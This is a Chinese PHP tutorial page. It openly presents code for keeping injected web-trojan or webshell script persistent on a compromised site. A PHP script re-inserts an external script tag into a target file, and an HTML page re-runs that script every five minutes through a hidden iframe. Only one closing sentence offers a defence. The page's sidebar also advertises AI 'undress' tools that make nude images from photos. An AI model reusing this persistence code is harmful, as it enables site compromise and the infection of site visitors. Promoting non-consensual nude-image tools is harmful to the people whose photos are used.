search
Homephp教程PHP源码php在文件指定行中写入代码的方法

有的站主页是缓存页面,你加入的网马代码或是webshell代码经常被更新或是其它的因素干掉,所以弄了这个代码,防范方法脚本之家将最后给解决方法

 代码如下:

<?php 
$file="aa.php" ; 
$code="<script src=http://www.php.cn/;</script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。

代码如下:

<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>


解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
Repo: How To Revive Teammates
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

SublimeText3 Linux new version

SublimeText3 Linux new version

SublimeText3 Linux latest version

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)